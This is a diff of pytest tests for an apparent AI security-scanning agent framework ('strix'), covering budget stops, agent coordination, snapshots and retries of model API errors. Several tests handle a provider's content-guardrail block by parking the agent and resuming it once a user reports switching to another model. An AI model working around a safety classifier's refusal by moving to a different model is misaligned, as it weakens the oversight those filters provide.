hooks = ReportUsageHooks(model="test-model", max_budget_usd=MAX_BUDGET)
|
||||
monkeypatch.setattr(execution, "Runner", _fake_runner(ledger))
|
||||
monkeypatch.setattr(execution, "_compact_session", _noop_compact)
|
||||
|
||||
coordinator = AgentCoordinator()
|
||||
await coordinator.register("root", "strix", parent_id=None)
|
||||
await coordinator.register("child-a", "recon", parent_id="root")
|
||||
snap = await coordinator.snapshot()
|
||||
snap["reserve_stopped"] = True
|
||||
|
||||
restored = AgentCoordinator()
|
||||
await restored.restore(snap)
|
||||
assert restored.reserve_stopped is True
|
||||
|
||||
sessions: list[Any] = []
|
||||
with patch("strix.core.hooks.get_global_report_state", return_value=ledger):
|
||||
await _start_child_runner(
|
||||
parent_ctx={"agent_id": "root", "parent_id": None},
|
||||
coordinator=restored,
|
||||
agents_db_path=tmp_path / "agents.sqlite",
|
||||
sessions_to_close=sessions,
|
||||
run_config=MagicMock(),
|
||||
max_turns=500,
|
||||
interactive=True,
|
||||
child_agent=MagicMock(),
|
||||
child_id="child-a",
|
||||
name="recon-child-a",
|
||||
parent_id="root",
|
||||
task="probe things",
|
||||
initial_input=[],
|
||||
hooks=hooks,
|
||||
)
|
||||
await _wait_until(lambda: restored.statuses["child-a"] == "stopped")
|
||||
|
||||
assert ledger.cost == pytest.approx(9.5)
|
||||
assert ledger.calls == []
|
||||
for session in sessions:
|
||||
session.close()
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_resumed_parked_root_after_reserve_is_renotified_and_finalizes(
|
||||
tmp_path: Path, monkeypatch: pytest.MonkeyPatch
|
||||
) -> None:
|
||||
ledger = _FakeLedger()
|
||||
ledger.cost = 9.0
|
||||
hooks = ReportUsageHooks(model="test-model", max_budget_usd=MAX_BUDGET)
|
||||
monkeypatch.setattr(execution, "Runner", _fake_runner(ledger))
|
||||
monkeypatch.setattr(execution, "_compact_session", _noop_compact)
|
||||
|
||||
coordinator = AgentCoordinator()
|
||||
await coordinator.register("root", "strix", parent_id=None)
|
||||
await coordinator.set_status("root", "waiting")
|
||||
snap = await coordinator.snapshot()
|
||||
snap["reserve_stopped"] = True
|
||||
|
||||
restored = AgentCoordinator()
|
||||
await restored.restore(snap)
|
||||
assert restored.reserve_stopped is True
|
||||
|
||||
root_session = open_agent_session("root", tmp_path / "agents.sqlite")
|
||||
with patch("strix.core.hooks.get_global_report_state", return_value=ledger):
|
||||
root_task = asyncio.create_task(
|
||||
run_agent_loop(
|
||||
agent=MagicMock(),
|
||||
initial_input=[],
|
||||
run_config=MagicMock(),
|
||||
context={"agent_id": "root", "parent_id": None},
|
||||
max_turns=500,
|
||||
coordinator=restored,
|
||||
agent_id="root",
|
||||
interactive=True,
|
||||
session=root_session,
|
||||
start_parked=True,
|
||||
hooks=hooks,
|
||||
)
|
||||
)
|
||||
with pytest.raises(BudgetExceededError):
|
||||
await asyncio.wait_for(root_task, timeout=5.0)
|
||||
|
||||
assert ledger.calls == ["root"]
|
||||
assert ledger.cost == pytest.approx(MAX_BUDGET)
|
||||
root_items = await root_session.get_items()
|
||||
notices = [item for item in root_items if "Budget reserve" in str(item)]
|
||||
assert len(notices) == 1
|
||||
root_session.close()
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_interactive_budget_pause_then_user_message_extends_and_resumes(
|
||||
tmp_path: Path, monkeypatch: pytest.MonkeyPatch
|
||||
) -> None:
|
||||
ledger = _FakeLedger()
|
||||
ledger.cost = 9.0
|
||||
hooks = ReportUsageHooks(model="test-model", max_budget_usd=MAX_BUDGET, interactive=True)
|
||||
monkeypatch.setattr(execution, "Runner", _fake_runner(ledger))
|
||||
monkeypatch.setattr(execution, "_compact_session", _noop_compact)
|
||||
|
||||
coordinator = AgentCoordinator()
|
||||
coordinator.set_budget_extender(hooks.extend_budget)
|
||||
await coordinator.register("root", "strix", parent_id=None)
|
||||
root_session = open_agent_session("root", tmp_path / "agents.sqlite")
|
||||
|
||||
with patch("strix.core.hooks.get_global_report_state", return_value=ledger):
|
||||
root_task = asyncio.create_task(
|
||||
run_agent_loop(
|
||||
agent=MagicMock(),
|
||||
initial_input=[],
|
||||
run_config=MagicMock(),
|
||||
context={"agent_id": "root", "parent_id": None},
|
||||
max_turns=500,
|
||||
coordinator=coordinator,
|
||||
agent_id="root",
|
||||
interactive=True,
|
||||
session=root_session,
|
||||
start_parked=True,
|
||||
hooks=hooks,
|
||||
)
|
||||
)
|
||||
await asyncio.sleep(0.05)
|
||||
|
||||
assert await coordinator.send("root", {"from": "user", "content": "go"})
|
||||
await _wait_until(lambda: coordinator.budget_paused)
|
||||
assert coordinator.statuses["root"] == "budget_paused"
|
||||
assert ledger.cost == pytest.approx(MAX_BUDGET)
|
||||
assert not root_task.done()
|
||||
assert coordinator.budget_stopped is False
|
||||
|
||||
assert await coordinator.send("root", {"from": "user", "content": "keep going"})
|
||||
await _wait_until(lambda: not coordinator.budget_paused)
|
||||
await _wait_until(lambda: ledger.cost > MAX_BUDGET)
|
||||
await _wait_until(lambda: coordinator.statuses["root"] == "waiting")
|
||||
assert not root_task.done()
|
||||
|
||||
root_task.cancel()
|
||||
await root_task
|
||||
|
||||
root_session.close()
|
||||
@@ -3,10 +3,273 @@
|
||||
from __future__ import annotations
|
||||
|
||||
import asyncio
|
||||
import contextlib
|
||||
import json
|
||||
from typing import Any
|
||||
from unittest.mock import MagicMock
|
||||
|
||||
import pytest
|
||||
from agents.memory import SQLiteSession
|
||||
from agents.tool_context import ToolContext
|
||||
|
||||
from strix.config import codex
|
||||
from strix.core import execution
|
||||
from strix.core.agents import AgentCoordinator
|
||||
from strix.core.execution import (
|
||||
_handle_content_guardrail,
|
||||
_notify_parent_on_terminal,
|
||||
_notify_root_on_budget_reserve,
|
||||
respawn_subagents,
|
||||
)
|
||||
from strix.tools.finish.tool import finish_scan
|
||||
|
||||
|
||||
async def _call_finish_scan(
|
||||
coordinator: AgentCoordinator, agent_id: str, parent_id: str | None
|
||||
) -> dict[str, Any]:
|
||||
ctx = ToolContext(
|
||||
context={"coordinator": coordinator, "agent_id": agent_id, "parent_id": parent_id},
|
||||
tool_name="finish_scan",
|
||||
tool_call_id="call-1",
|
||||
tool_arguments="{}",
|
||||
)
|
||||
fields = ("executive_summary", "methodology", "technical_analysis", "recommendations")
|
||||
result: str = await finish_scan.on_invoke_tool(ctx, json.dumps(dict.fromkeys(fields, "x")))
|
||||
parsed: dict[str, Any] = json.loads(result)
|
||||
return parsed
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_reserve_stop_notifies_root_once(monkeypatch: pytest.MonkeyPatch) -> None:
|
||||
coordinator = AgentCoordinator()
|
||||
await coordinator.register("root", "strix", parent_id=None)
|
||||
await coordinator.register("child-a", "recon", parent_id="root")
|
||||
await coordinator.register("child-b", "recon", parent_id="root")
|
||||
|
||||
sent: list[tuple[str, dict[str, Any]]] = []
|
||||
|
||||
async def _record(target_agent_id: str, message: dict[str, Any]) -> bool:
|
||||
sent.append((target_agent_id, message))
|
||||
return True
|
||||
|
||||
monkeypatch.setattr(coordinator, "send", _record)
|
||||
|
||||
await _notify_root_on_budget_reserve(coordinator)
|
||||
await _notify_root_on_budget_reserve(coordinator)
|
||||
|
||||
assert len(sent) == 1
|
||||
target, message = sent[0]
|
||||
assert target == "root"
|
||||
assert message["type"] == "budget_reserve_stop"
|
||||
assert "finish_scan" in str(message["content"])
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_concurrent_reserve_claims_yield_single_root() -> None:
|
||||
coordinator = AgentCoordinator()
|
||||
await coordinator.register("root", "strix", parent_id=None)
|
||||
for i in range(12):
|
||||
await coordinator.register(f"child-{i}", "recon", parent_id="root")
|
||||
|
||||
results = await asyncio.gather(*(coordinator.claim_reserve_notification() for _ in range(12)))
|
||||
|
||||
assert results.count("root") == 1
|
||||
assert all(r is None for r in results if r != "root")
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_claim_reserve_sets_flag_and_wakes_parked_agents() -> None:
|
||||
coordinator = AgentCoordinator()
|
||||
await coordinator.register("root", "strix", parent_id=None)
|
||||
await coordinator.register("child", "recon", parent_id="root")
|
||||
|
||||
flag_before = coordinator.reserve_stopped
|
||||
assert flag_before is False
|
||||
waiter = asyncio.create_task(coordinator.wait_for_message("child"))
|
||||
await asyncio.sleep(0)
|
||||
assert not waiter.done()
|
||||
|
||||
await coordinator.claim_reserve_notification()
|
||||
|
||||
flag_after = coordinator.reserve_stopped
|
||||
assert flag_after is True
|
||||
await asyncio.wait_for(waiter, timeout=1.0)
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_finish_scan_bypasses_active_agent_guard_after_reserve() -> None:
|
||||
coordinator = AgentCoordinator()
|
||||
await coordinator.register("root", "strix", parent_id=None)
|
||||
await coordinator.register("child", "recon", parent_id="root")
|
||||
await coordinator.set_status("child", "running")
|
||||
|
||||
blocked = await _call_finish_scan(coordinator, "root", None)
|
||||
assert blocked["scan_completed"] is False
|
||||
assert blocked["active_agents"]
|
||||
|
||||
await coordinator.claim_reserve_notification()
|
||||
|
||||
finished = await _call_finish_scan(coordinator, "root", None)
|
||||
assert finished["scan_completed"] is True
|
||||
assert coordinator.statuses["root"] == "completed"
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_finish_scan_gate_ignores_sub_agent_caller() -> None:
|
||||
coordinator = AgentCoordinator()
|
||||
await coordinator.register("root", "strix", parent_id=None)
|
||||
await coordinator.register("child", "recon", parent_id="root")
|
||||
await coordinator.set_status("child", "running")
|
||||
|
||||
result = await _call_finish_scan(coordinator, "child", "root")
|
||||
assert "active_agents" not in result
|
||||
assert result["success"] is False
|
||||
assert "root" in result["error"]
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_reserve_stop_notify_noop_without_root(monkeypatch: pytest.MonkeyPatch) -> None:
|
||||
coordinator = AgentCoordinator()
|
||||
await coordinator.register("child", "recon", parent_id="missing")
|
||||
|
||||
sent: list[tuple[str, dict[str, Any]]] = []
|
||||
|
||||
async def _record(target_agent_id: str, message: dict[str, Any]) -> bool:
|
||||
sent.append((target_agent_id, message))
|
||||
return True
|
||||
|
||||
monkeypatch.setattr(coordinator, "send", _record)
|
||||
await _notify_root_on_budget_reserve(coordinator)
|
||||
|
||||
assert sent == []
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_snapshot_round_trip_preserves_stop_flags() -> None:
|
||||
coordinator = AgentCoordinator()
|
||||
await coordinator.register("root", "strix", parent_id=None)
|
||||
await coordinator.trigger_budget_stop()
|
||||
await coordinator.claim_reserve_notification()
|
||||
|
||||
snap = await coordinator.snapshot()
|
||||
assert snap["budget_stopped"] is True
|
||||
assert snap["reserve_stopped"] is True
|
||||
|
||||
restored = AgentCoordinator()
|
||||
await restored.restore(snap)
|
||||
assert restored.budget_stopped is True
|
||||
assert restored.reserve_stopped is True
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_legacy_snapshot_without_stop_flags_defaults_to_false() -> None:
|
||||
coordinator = AgentCoordinator()
|
||||
await coordinator.register("root", "strix", parent_id=None)
|
||||
snap = await coordinator.snapshot()
|
||||
del snap["budget_stopped"]
|
||||
del snap["reserve_stopped"]
|
||||
|
||||
restored = AgentCoordinator()
|
||||
await restored.restore(snap)
|
||||
assert restored.budget_stopped is False
|
||||
assert restored.reserve_stopped is False
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_randomized_reserve_claim_race_many_interleavings() -> None:
|
||||
for seed in range(25):
|
||||
coordinator = AgentCoordinator()
|
||||
await coordinator.register("root", "strix", parent_id=None)
|
||||
child_ids = [f"child-{i}" for i in range(8)]
|
||||
for child_id in child_ids:
|
||||
await coordinator.register(child_id, "recon", parent_id="root")
|
||||
|
||||
waiters = [asyncio.create_task(coordinator.wait_for_message(cid)) for cid in child_ids]
|
||||
await asyncio.sleep(0)
|
||||
|
||||
async def _claim(delay: float, coord: AgentCoordinator = coordinator) -> str | None:
|
||||
await asyncio.sleep(delay)
|
||||
return await coord.claim_reserve_notification()
|
||||
|
||||
delays = [((seed * 31 + i * 17) % 50) / 10_000 for i in range(len(child_ids))]
|
||||
results = await asyncio.gather(*(_claim(delay) for delay in delays))
|
||||
|
||||
assert results.count("root") == 1, f"seed {seed}: expected exactly one winner"
|
||||
await asyncio.wait_for(asyncio.gather(*waiters), timeout=1.0)
|
||||
assert coordinator.reserve_stopped is True
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_reserve_claim_never_loses_root_wake() -> None:
|
||||
for _ in range(10):
|
||||
coordinator = AgentCoordinator()
|
||||
await coordinator.register("root", "strix", parent_id=None)
|
||||
await coordinator.register("child", "recon", parent_id="root")
|
||||
|
||||
root_waiter = asyncio.create_task(coordinator.wait_for_message("root"))
|
||||
await asyncio.sleep(0)
|
||||
assert not root_waiter.done()
|
||||
|
||||
await coordinator.claim_reserve_notification()
|
||||
await asyncio.sleep(0)
|
||||
|
||||
async with coordinator._lock:
|
||||
coordinator.pending_counts["root"] = 1
|
||||
coordinator.runtimes["root"].wake.set()
|
||||
|
||||
await asyncio.wait_for(root_waiter, timeout=1.0)
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_budget_stop_takes_precedence_over_reserve_for_all_roles() -> None:
|
||||
coordinator = AgentCoordinator()
|
||||
await coordinator.register("root", "strix", parent_id=None)
|
||||
await coordinator.register("child", "recon", parent_id="root")
|
||||
await coordinator.claim_reserve_notification()
|
||||
await coordinator.trigger_budget_stop()
|
||||
|
||||
await asyncio.wait_for(coordinator.wait_for_message("root"), timeout=1.0)
|
||||
await asyncio.wait_for(coordinator.wait_for_message("child"), timeout=1.0)
|
||||
assert coordinator.budget_stopped is True
|
||||
assert coordinator.reserve_stopped is True
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_root_not_released_by_reserve_alone() -> None:
|
||||
coordinator = AgentCoordinator()
|
||||
await coordinator.register("root", "strix", parent_id=None)
|
||||
await coordinator.register("child", "recon", parent_id="root")
|
||||
|
||||
await coordinator.claim_reserve_notification()
|
||||
|
||||
root_waiter = asyncio.create_task(coordinator.wait_for_message("root"))
|
||||
await asyncio.sleep(0.02)
|
||||
assert not root_waiter.done()
|
||||
|
||||
root_waiter.cancel()
|
||||
with contextlib.suppress(asyncio.CancelledError):
|
||||
await root_waiter
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_snapshot_during_concurrent_claims_is_consistent() -> None:
|
||||
coordinator = AgentCoordinator()
|
||||
await coordinator.register("root", "strix", parent_id=None)
|
||||
for i in range(6):
|
||||
await coordinator.register(f"child-{i}", "recon", parent_id="root")
|
||||
|
||||
claims = [asyncio.create_task(coordinator.claim_reserve_notification()) for _ in range(6)]
|
||||
snap = await coordinator.snapshot()
|
||||
await asyncio.gather(*claims)
|
||||
|
||||
assert isinstance(snap["reserve_stopped"], bool)
|
||||
final_snap = await coordinator.snapshot()
|
||||
assert final_snap["reserve_stopped"] is True
|
||||
|
||||
restored = AgentCoordinator()
|
||||
await restored.restore(final_snap)
|
||||
assert restored.reserve_stopped is True
|
||||
assert await restored.claim_reserve_notification() is None
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
@@ -42,3 +305,274 @@ async def test_wait_for_message_returns_immediately_after_budget_stop() -> None:
|
||||
|
||||
# No pending messages, but the stop flag short-circuits the wait.
|
||||
await asyncio.wait_for(coordinator.wait_for_message("agent"), timeout=1.0)
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_pause_for_budget_sets_flag_and_status() -> None:
|
||||
coordinator = AgentCoordinator()
|
||||
await coordinator.register("root", "strix", parent_id=None)
|
||||
|
||||
await coordinator.pause_for_budget("root")
|
||||
assert coordinator.budget_paused is True
|
||||
assert coordinator.statuses["root"] == "budget_paused"
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_resume_from_budget_pause_extends_and_nudges(
|
||||
monkeypatch: pytest.MonkeyPatch,
|
||||
) -> None:
|
||||
coordinator = AgentCoordinator()
|
||||
await coordinator.register("root", "strix", parent_id=None)
|
||||
await coordinator.register("child-a", "recon", parent_id="root")
|
||||
await coordinator.register("child-b", "recon", parent_id="root")
|
||||
await coordinator.pause_for_budget("root")
|
||||
await coordinator.pause_for_budget("child-a")
|
||||
await coordinator.pause_for_budget("child-b")
|
||||
|
||||
extensions: list[int] = []
|
||||
coordinator.set_budget_extender(lambda: extensions.append(1))
|
||||
|
||||
sent: list[tuple[str, dict[str, Any]]] = []
|
||||
|
||||
async def _record(target_agent_id: str, message: dict[str, Any]) -> bool:
|
||||
sent.append((target_agent_id, message))
|
||||
return True
|
||||
|
||||
monkeypatch.setattr(coordinator, "send", _record)
|
||||
|
||||
await coordinator.resume_from_budget_pause(exclude="root")
|
||||
|
||||
assert coordinator.budget_paused is False
|
||||
assert len(extensions) == 1
|
||||
assert all(coordinator.statuses[aid] == "waiting" for aid in ("root", "child-a", "child-b"))
|
||||
assert sorted(target for target, _ in sent) == ["child-a", "child-b"]
|
||||
assert all(message["type"] == "budget_extended" for _, message in sent)
|
||||
|
||||
await coordinator.resume_from_budget_pause(exclude="root")
|
||||
assert len(extensions) == 1
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_user_send_resumes_budget_pause(tmp_path: Any) -> None:
|
||||
coordinator = AgentCoordinator()
|
||||
await coordinator.register("root", "strix", parent_id=None)
|
||||
session = SQLiteSession("root", tmp_path / "agents.db")
|
||||
await coordinator.attach_runtime("root", session=session)
|
||||
await coordinator.pause_for_budget("root")
|
||||
|
||||
extensions: list[int] = []
|
||||
coordinator.set_budget_extender(lambda: extensions.append(1))
|
||||
|
||||
delivered = await coordinator.send("root", {"from": "user", "content": "keep going"})
|
||||
|
||||
assert delivered is True
|
||||
assert coordinator.budget_paused is False
|
||||
assert len(extensions) == 1
|
||||
assert coordinator.statuses["root"] == "waiting"
|
||||
assert coordinator.pending_counts["root"] == 1
|
||||
session.close()
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_non_user_send_does_not_resume_budget_pause(tmp_path: Any) -> None:
|
||||
coordinator = AgentCoordinator()
|
||||
await coordinator.register("root", "strix", parent_id=None)
|
||||
session = SQLiteSession("root", tmp_path / "agents.db")
|
||||
await coordinator.attach_runtime("root", session=session)
|
||||
await coordinator.pause_for_budget("root")
|
||||
|
||||
extensions: list[int] = []
|
||||
coordinator.set_budget_extender(lambda: extensions.append(1))
|
||||
|
||||
await coordinator.send("root", {"from": "system", "content": "status"})
|
||||
|
||||
assert coordinator.budget_paused is True
|
||||
assert extensions == []
|
||||
assert coordinator.statuses["root"] == "budget_paused"
|
||||
session.close()
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_reset_budget_stops_clears_pause_and_normalizes_statuses() -> None:
|
||||
coordinator = AgentCoordinator()
|
||||
await coordinator.register("root", "strix", parent_id=None)
|
||||
await coordinator.trigger_budget_stop()
|
||||
await coordinator.claim_reserve_notification()
|
||||
await coordinator.pause_for_budget("root")
|
||||
|
||||
await coordinator.reset_budget_stops(budget_stopped=False, reserve_stopped=False)
|
||||
|
||||
assert coordinator.budget_stopped is False
|
||||
assert coordinator.reserve_stopped is False
|
||||
assert coordinator.budget_paused is False
|
||||
assert coordinator.statuses["root"] == "waiting"
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_reset_budget_stops_can_preserve_pause() -> None:
|
||||
coordinator = AgentCoordinator()
|
||||
await coordinator.register("root", "strix", parent_id=None)
|
||||
await coordinator.pause_for_budget("root")
|
||||
|
||||
await coordinator.reset_budget_stops(
|
||||
budget_stopped=False, reserve_stopped=False, budget_paused=True
|
||||
)
|
||||
|
||||
assert coordinator.budget_paused is True
|
||||
assert coordinator.statuses["root"] == "budget_paused"
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_snapshot_round_trip_preserves_budget_pause() -> None:
|
||||
coordinator = AgentCoordinator()
|
||||
await coordinator.register("root", "strix", parent_id=None)
|
||||
await coordinator.pause_for_budget("root")
|
||||
|
||||
snap = await coordinator.snapshot()
|
||||
assert snap["budget_paused"] is True
|
||||
|
||||
restored = AgentCoordinator()
|
||||
await restored.restore(snap)
|
||||
assert restored.budget_paused is True
|
||||
assert restored.statuses["root"] == "budget_paused"
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
@pytest.mark.parametrize("status", ["stopped", "failed", "crashed"])
|
||||
async def test_terminal_child_wakes_parked_parent(tmp_path: Any, status: str) -> None:
|
||||
# Regression for #870: a child reaching a terminal state (e.g. MaxTurnsExceeded
|
||||
# -> "stopped") must wake the parent parked in wait_for_message, so the root can
|
||||
# finalize the scan instead of hanging for a completion report that never arrives.
|
||||
coordinator = AgentCoordinator()
|
||||
await coordinator.register("root", "strix", parent_id=None)
|
||||
await coordinator.register("child", "SQL Injection", parent_id="root")
|
||||
session = SQLiteSession("root", tmp_path / "agents.db")
|
||||
await coordinator.attach_runtime("root", session=session)
|
||||
|
||||
root_waiter = asyncio.create_task(coordinator.wait_for_message("root"))
|
||||
await asyncio.sleep(0)
|
||||
assert not root_waiter.done()
|
||||
|
||||
await coordinator.set_status("child", status, error="Max turns (500) exceeded")
|
||||
await _notify_parent_on_terminal(coordinator, "child", status)
|
||||
|
||||
await asyncio.wait_for(root_waiter, timeout=1.0)
|
||||
assert coordinator.pending_counts.get("root", 0) > 0
|
||||
session.close()
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_notify_parent_on_terminal_ignores_non_terminal_status(tmp_path: Any) -> None:
|
||||
coordinator = AgentCoordinator()
|
||||
await coordinator.register("root", "strix", parent_id=None)
|
||||
await coordinator.register("child", "recon", parent_id="root")
|
||||
session = SQLiteSession("root", tmp_path / "agents.db")
|
||||
await coordinator.attach_runtime("root", session=session)
|
||||
|
||||
await _notify_parent_on_terminal(coordinator, "child", "waiting")
|
||||
|
||||
assert coordinator.pending_counts.get("root", 0) == 0
|
||||
session.close()
|
||||
|
||||
|
||||
class _RecordingStream:
|
||||
def __init__(self) -> None:
|
||||
self.cancelled = False
|
||||
self.cancel_mode: str | None = None
|
||||
|
||||
def cancel(self, mode: str = "immediate") -> None:
|
||||
self.cancelled = True
|
||||
self.cancel_mode = mode
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_terminal_notice_does_not_cancel_parent_stream(tmp_path: Any) -> None:
|
||||
coordinator = AgentCoordinator()
|
||||
await coordinator.register("root", "strix", parent_id=None)
|
||||
await coordinator.register("child", "recon", parent_id="root")
|
||||
session = SQLiteSession("root", tmp_path / "agents.db")
|
||||
stream = _RecordingStream()
|
||||
await coordinator.attach_runtime("root", session=session, interrupt_on_message=True)
|
||||
await coordinator.attach_stream("root", stream)
|
||||
|
||||
await _notify_parent_on_terminal(coordinator, "child", "crashed")
|
||||
|
||||
assert stream.cancelled is False
|
||||
assert coordinator.pending_counts.get("root", 0) > 0
|
||||
session.close()
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_guardrail_interactive_parks_agent_wakeable(tmp_path: Any) -> None:
|
||||
coordinator = AgentCoordinator()
|
||||
await coordinator.register("root", "strix", parent_id=None)
|
||||
await coordinator.register("child", "recon", parent_id="root")
|
||||
exc = codex.CodexContentGuardrailError("chatgpt/gpt-5.6-sol")
|
||||
|
||||
result = await _handle_content_guardrail(coordinator, "child", exc, interactive=True)
|
||||
|
||||
assert result is None
|
||||
assert coordinator.statuses["child"] == "waiting"
|
||||
assert "STRIX_LLM" in coordinator.errors["child"]
|
||||
|
||||
waiter = asyncio.create_task(coordinator.wait_for_message("child"))
|
||||
await asyncio.sleep(0)
|
||||
assert not waiter.done()
|
||||
session = SQLiteSession("child", tmp_path / "agents.db")
|
||||
await coordinator.attach_runtime("child", session=session)
|
||||
await coordinator.send("child", {"from": "user", "content": "switched model, resume"})
|
||||
await asyncio.wait_for(waiter, timeout=1.0)
|
||||
session.close()
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_guardrail_noninteractive_fails_only_blocked_agent(tmp_path: Any) -> None:
|
||||
coordinator = AgentCoordinator()
|
||||
await coordinator.register("root", "strix", parent_id=None)
|
||||
await coordinator.register("child", "recon", parent_id="root")
|
||||
session = SQLiteSession("root", tmp_path / "agents.db")
|
||||
await coordinator.attach_runtime("root", session=session)
|
||||
exc = codex.CodexContentGuardrailError("chatgpt/gpt-5.6-sol")
|
||||
|
||||
result = await _handle_content_guardrail(coordinator, "child", exc, interactive=False)
|
||||
|
||||
assert result is None
|
||||
assert coordinator.statuses["child"] == "failed"
|
||||
assert "STRIX_LLM" in coordinator.errors["child"]
|
||||
assert coordinator.statuses["root"] == "running"
|
||||
assert coordinator.pending_counts.get("root", 0) > 0
|
||||
session.close()
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_resume_revives_guardrail_parked_child_but_not_plain_waiting(
|
||||
tmp_path: Any, monkeypatch: pytest.MonkeyPatch
|
||||
) -> None:
|
||||
coordinator = AgentCoordinator()
|
||||
await coordinator.register("root", "strix", parent_id=None)
|
||||
await coordinator.register("blocked", "recon", parent_id="root")
|
||||
await coordinator.register("peer_waiter", "recon", parent_id="root")
|
||||
await coordinator.set_status("blocked", "waiting", error="STRIX_LLM guardrail")
|
||||
await coordinator.set_status("peer_waiter", "waiting")
|
||||
|
||||
parked: dict[str, bool] = {}
|
||||
|
||||
async def _fake_start_child_runner(**kwargs: Any) -> None:
|
||||
parked[kwargs["child_id"]] = bool(kwargs["start_parked"])
|
||||
|
||||
monkeypatch.setattr(execution, "_start_child_runner", _fake_start_child_runner)
|
||||
|
||||
await respawn_subagents(
|
||||
coordinator=coordinator,
|
||||
factory=lambda **_kwargs: object(),
|
||||
agents_db_path=tmp_path / "agents.db",
|
||||
sessions_to_close=[],
|
||||
run_config=MagicMock(),
|
||||
max_turns=10,
|
||||
interactive=True,
|
||||
parent_ctx={"agent_id": "root", "parent_id": None},
|
||||
root_id="root",
|
||||
)
|
||||
|
||||
assert parked["blocked"] is False
|
||||
assert parked["peer_waiter"] is True
|
||||
|
||||
@@ -0,0 +1,157 @@
|
||||
from __future__ import annotations
|
||||
|
||||
from typing import Any, cast
|
||||
|
||||
import httpx
|
||||
import pytest
|
||||
from agents import RunConfig, Runner
|
||||
from openai import (
|
||||
APIConnectionError,
|
||||
APIError,
|
||||
APIStatusError,
|
||||
APITimeoutError,
|
||||
BadRequestError,
|
||||
InternalServerError,
|
||||
RateLimitError,
|
||||
)
|
||||
|
||||
from strix.core import execution
|
||||
from strix.core.agents import AgentCoordinator
|
||||
|
||||
|
||||
def _request() -> httpx.Request:
|
||||
return httpx.Request("POST", "https://api.openai.com/v1/responses")
|
||||
|
||||
|
||||
def _midstream_api_error() -> APIError:
|
||||
return APIError("An error occurred while processing the request.", _request(), body=None)
|
||||
|
||||
|
||||
def _status_error(status: int) -> APIStatusError:
|
||||
return APIStatusError(
|
||||
f"status {status}",
|
||||
response=httpx.Response(status_code=status, request=_request()),
|
||||
body=None,
|
||||
)
|
||||
|
||||
|
||||
def test_midstream_api_error_is_transient() -> None:
|
||||
assert execution._is_transient_model_error(_midstream_api_error()) is True
|
||||
|
||||
|
||||
def test_network_errors_are_transient() -> None:
|
||||
assert execution._is_transient_model_error(APITimeoutError(_request())) is True
|
||||
assert execution._is_transient_model_error(APIConnectionError(request=_request())) is True
|
||||
|
||||
|
||||
def test_server_errors_are_transient() -> None:
|
||||
assert (
|
||||
execution._is_transient_model_error(
|
||||
InternalServerError("boom", response=httpx.Response(500, request=_request()), body=None)
|
||||
)
|
||||
is True
|
||||
)
|
||||
for status in (502, 503, 504, 408):
|
||||
assert execution._is_transient_model_error(_status_error(status)) is True
|
||||
|
||||
|
||||
def test_rate_limit_is_not_retried_here() -> None:
|
||||
rate_limited = RateLimitError(
|
||||
"slow down", response=httpx.Response(429, request=_request()), body=None
|
||||
)
|
||||
assert execution._is_transient_model_error(rate_limited) is False
|
||||
|
||||
|
||||
def test_client_errors_are_not_transient() -> None:
|
||||
bad_request = BadRequestError(
|
||||
"bad", response=httpx.Response(400, request=_request()), body=None
|
||||
)
|
||||
assert execution._is_transient_model_error(bad_request) is False
|
||||
assert execution._is_transient_model_error(_status_error(404)) is False
|
||||
assert execution._is_transient_model_error(ValueError("nope")) is False
|
||||
|
||||
|
||||
class _FakeStream:
|
||||
def __init__(self, exc: BaseException | None = None) -> None:
|
||||
self._exc = exc
|
||||
self._events: list[Any] = []
|
||||
self.run_loop_exception: BaseException | None = None
|
||||
|
||||
async def stream_events(self) -> Any:
|
||||
if self._exc is not None:
|
||||
raise self._exc
|
||||
for event in self._events:
|
||||
yield event
|
||||
|
||||
|
||||
def _patch_fast_backoff(monkeypatch: pytest.MonkeyPatch) -> None:
|
||||
monkeypatch.setattr(execution, "_TRANSIENT_MODEL_RETRY_BASE_DELAY_S", 0.0)
|
||||
monkeypatch.setattr(execution, "_TRANSIENT_MODEL_RETRY_MAX_DELAY_S", 0.0)
|
||||
|
||||
|
||||
async def _run_once(
|
||||
monkeypatch: pytest.MonkeyPatch,
|
||||
streams: list[_FakeStream],
|
||||
) -> Any:
|
||||
_patch_fast_backoff(monkeypatch)
|
||||
calls = {"n": 0}
|
||||
|
||||
def _fake_run_streamed(*_args: Any, **_kwargs: Any) -> _FakeStream:
|
||||
stream = streams[calls["n"]]
|
||||
calls["n"] += 1
|
||||
return stream
|
||||
|
||||
monkeypatch.setattr(Runner, "run_streamed", _fake_run_streamed)
|
||||
|
||||
coordinator = AgentCoordinator()
|
||||
